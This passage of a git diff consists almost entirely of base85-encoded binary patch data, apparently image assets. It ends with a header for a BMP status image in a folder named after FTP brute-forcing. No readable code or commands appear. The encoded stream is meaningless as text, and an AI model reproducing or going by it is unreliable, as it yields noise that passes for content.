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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/FTPBruteforce/FTPBruteforce1.bmp b/resources/default_config/characters/MEDUSA/status/FTPBruteforce/FTPBruteforce1.bmp new file mode 100644 index 0000000000000000000000000000000000000000..378babe74387fedc1ec45ec6fec4d4f296a7d7e0 GIT binary patch literal 18462 zcmd^`2Xqt1-u6wgjlnkVy*Ih4*Oj#DyIOU*_in09u>pg-B=1qnBtcL!-*wSy(c#H9$Rpyh$9O&vkxD?lc*B@yA>)ns(I)1#X8)W{z3tR#cxWJJ^D|!yE?K!r- z=fsxYGoSSR{%wEv*?axngM;^9jQfRH@7_3n^URK(V{cqPw5$g}9D2Ry;PM{4YAYXV zRrjHlH;%69JN`!Rv9;ZYR^2$Vx(Dd6S%+5l{BMB_H;=9D`*AJE(0y=a&mnU;pahTr zZx1XtHxjtfvhHJV-8}p0-CLJl0QdP>2M6x-{IsEa|H2*sdSulNQ2iro@I9_ok97Cc zTUWk&{m1R?zwTai`{%cA9e<duL`z$rY#1DP8J6pl9!K!3gahXp;SKYD?fety;=(1ULL(tCPa&(Sx#4}+#(cH{8! z8^BatD{mZL)q7+$aA;k_BqS(?7fR&$5h^m2zwTMmfAY;+$8e`_9mg#M>OHpR_Q^Mo zemHlMTnPCRxWTdN2;xVJXZQc~Cf;~>d#vm}u&f8@Aa3n-@b>6iy=OnVd+Xx=iLaKM z3=R(5>$`O4+KIm3_uV@C@y(N4Zv40oH~7$sd#BdE(=vq_7}dG_tsMuBt$6QaDI+-( z;-BBsb?v~4KlXK<`)bMgua^A2Zz-_(#}DVC1e#tle%LQP`mZXOQwP5O zf#wn^A*8TeVVZp;XKaMfI|d75D?%Yv7*|W+X(M@HuOaZ1VUQw}gN3jJp3xj<0?i?s z=Zy%%btCSSSe#BPqivY649Y#ni`e6k$v>n57DXMBcHn z)?Sg;UK8~>O*87q&Y}FkcnzygNw0)_kqA4li3xe-`O|0RPg^nn_3mre|J2M+e*5ZJ z!F`T=cTf;TmHLr#=txp5Fpmy^lwo85rwAouAtW@IC<~0`dxQ%-Bf!XohQ!H3Nqnye zs(nBfijKre2<@fb*z22`tp@2BJb!-iWp!4K4ln16%ItzM9{z<3nj|};+PJB4Es>p=wP-} zuq-f68BT`1LB)egFm-)ienU=vU24`eOl!)?ZOqMU%*!u9Rh7wUjRgf$QDseXT6120 zQ*Pdz_>}1iCEGQiqp}{*3_jbc>V;X&#b3R2b$!?B1+|SIZ~EYa^_!Su!!pStc`(sz zCq)@fRYlMg;Z(7IED}VN_{Wj$0wlila^2KviV2WwEM-ifGypgqM{^2RM6&0W&RSeq zyZC6drtdyK$ZR*lGQ+aAWNGz_dUQ}7RxUzDpHks=NBAk5a`vbUn z&oElOFze9J^()tMumpxzoG4sNbD^+3B4obgq*zFf$0|u4inA&rs4SPT$Pr$2$B;N1 zA7vcVtGO2Q<*nClw0Yvi~&(8`v$Kb%=o&MW->Li0{!OufOpB^7;R~9>luziiWIe&3h-!HH4yI}n47vt_gKjn{X6%aUcc|`+aPiL=GLG3 zKHPux^*v|XYl_ke 